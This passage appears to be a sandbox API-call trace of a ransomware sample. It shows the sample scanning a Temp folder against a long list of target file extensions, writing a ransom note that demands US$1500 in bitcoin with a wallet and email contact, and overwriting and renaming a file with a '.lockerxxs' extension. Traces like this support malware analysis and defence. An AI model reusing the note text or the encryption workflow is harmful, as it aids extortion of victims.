[0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.p12") returned 0 [0086.735] lstrlenA (lpString="*.p12") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.gpg") returned 0 [0086.735] lstrlenA (lpString="*.gpg") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.vsd") returned 0 [0086.735] lstrlenA (lpString="*.vsd") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.odg") returned 0 [0086.735] lstrlenA (lpString="*.odg") returned 5 [0086.735] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.raw") returned 0 [0086.735] lstrlenA (lpString="*.raw") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.nef") returned 0 [0086.736] lstrlenA (lpString="*.nef") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.svg") returned 0 [0086.736] lstrlenA (lpString="*.svg") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.psd") returned 0 [0086.736] lstrlenA (lpString="*.psd") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.vmx") returned 0 [0086.736] lstrlenA (lpString="*.vmx") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.vmdk") returned 0 [0086.736] lstrlenA (lpString="*.vmdk") returned 6 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.vdi") returned 0 [0086.736] lstrlenA (lpString="*.vdi") returned 5 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.lay6") returned 0 [0086.736] lstrlenA (lpString="*.lay6") returned 6 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mpeg") returned 0 [0086.736] lstrlenA (lpString="*.mpeg") returned 6 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.djvu") returned 0 [0086.736] lstrlenA (lpString="*.djvu") returned 6 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.tiff") returned 0 [0086.736] lstrlenA (lpString="*.tiff") returned 6 [0086.736] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.backup") returned 0 [0086.736] lstrlenA (lpString="*.backup") returned 8 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.pdf") returned 0 [0086.737] lstrlenA (lpString="*.pdf") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.cert") returned 0 [0086.737] lstrlenA (lpString="*.cert") returned 6 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.docm") returned 0 [0086.737] lstrlenA (lpString="*.docm") returned 6 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.xlsm") returned 0 [0086.737] lstrlenA (lpString="*.xlsm") returned 6 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.dwg") returned 0 [0086.737] lstrlenA (lpString="*.dwg") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.nd") returned 0 [0086.737] lstrlenA (lpString="*.nd") returned 4 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.tlg") returned 0 [0086.737] lstrlenA (lpString="*.tlg") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.lgb") returned 0 [0086.737] lstrlenA (lpString="*.lgb") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mov") returned 0 [0086.737] lstrlenA (lpString="*.mov") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.xdw") returned 0 [0086.737] lstrlenA (lpString="*.xdw") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.ods") returned 0 [0086.737] lstrlenA (lpString="*.ods") returned 5 [0086.737] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.wav") returned 0 [0086.738] lstrlenA (lpString="*.wav") returned 5 [0086.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.mp3") returned 0 [0086.738] lstrlenA (lpString="*.mp3") returned 5 [0086.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.aiff") returned 0 [0086.738] lstrlenA (lpString="*.aiff") returned 6 [0086.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.flac") returned 0 [0086.738] lstrlenA (lpString="*.flac") returned 6 [0086.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.m4a") returned 0 [0086.738] lstrlenA (lpString="*.m4a") returned 5 [0086.738] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\03J4UQW0\\desktop.ini", pszSpec="*.csv") returned 0 [0086.738] lstrlenA (lpString="*.csv") returned 5 [0086.738] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0086.738] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0086.738] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0086.738] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.738] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0086.738] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0086.738] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0086.738] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\*.*") returned="*.*" [0086.738] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" [0086.738] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\") returned="" [0086.738] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" [0086.738] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\how to decrypt files.txt")) returned 0xffffffff [0086.739] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.742] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0086.742] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0086.743] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0086.743] CloseHandle (hObject=0x98) returned 1 [0086.743] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini" [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ems") returned 0 [0086.743] lstrlenA (lpString="*.ems") returned 5 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.db") returned 0 [0086.743] lstrlenA (lpString="*.db") returned 4 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.dbf") returned 0 [0086.743] lstrlenA (lpString="*.dbf") returned 5 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.myox") returned 0 [0086.743] lstrlenA (lpString="*.myox") returned 6 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.myo") returned 0 [0086.743] lstrlenA (lpString="*.myo") returned 5 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbw") returned 0 [0086.743] lstrlenA (lpString="*.qbw") returned 5 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbb") returned 0 [0086.743] lstrlenA (lpString="*.qbb") returned 5 [0086.743] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbm") returned 0 [0086.743] lstrlenA (lpString="*.qbm") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbo") returned 0 [0086.744] lstrlenA (lpString="*.qbo") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbx") returned 0 [0086.744] lstrlenA (lpString="*.qbx") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qba") returned 0 [0086.744] lstrlenA (lpString="*.qba") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qby") returned 0 [0086.744] lstrlenA (lpString="*.qby") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qbj") returned 0 [0086.744] lstrlenA (lpString="*.qbj") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.ofx") returned 0 [0086.744] lstrlenA (lpString="*.ofx") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.qif") returned 0 [0086.744] lstrlenA (lpString="*.qif") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mye") returned 0 [0086.744] lstrlenA (lpString="*.mye") returned 5 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.mbox") returned 0 [0086.744] lstrlenA (lpString="*.mbox") returned 6 [0086.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini", pszSpec="*.eml") returned 0 [0086.744] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0086.744] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0086.745] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="index.dat") returned -1 [0086.745] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="index.dat") returned -1 [0086.745] lstrcmpiA (lpString1="", lpString2="index.dat") returned -1 [0086.745] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\desktop.ini") returned="desktop.ini" [0086.745] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" [0086.745] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\") returned="" [0086.745] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" [0086.745] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\how to decrypt files.txt")) returned 0x2020 [0086.745] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\", lpString2="index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" [0086.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat", pszSpec="*.ems") returned 0 [0086.745] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" [0086.745] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" [0086.745] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat." [0086.745] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" [0086.745] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0086.747] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0086.747] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xd978bc80, dwHighDateTime=0x1d2dda0), lpLastAccessTime=0x407536*(dwLowDateTime=0xd978bc80, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0xed0fc650, dwHighDateTime=0x1d35d05)) returned 1 [0086.747] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.747] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x7fda, lpOverlapped=0x0) returned 1 [0086.749] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned="index.dat" [0086.749] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.750] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x7fda, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x7fda, lpOverlapped=0x0) returned 1 [0086.750] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.750] CloseHandle (hObject=0x98) returned 1 [0086.750] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat.lockerxxs")) returned 1 [0086.751] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97b1de0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97b1de0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97b1de0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xcd0001cc, dwReserved1=0x4e00c4, cFileName="KETAJP6D", cAlternateFileName="")) returned 1 [0086.751] lstrcmpA (lpString1=".", lpString2="KETAJP6D") returned -1 [0086.751] lstrcmpA (lpString1="..", lpString2="KETAJP6D") returned -1 [0086.751] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat") returned="index.dat" [0086.751] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet 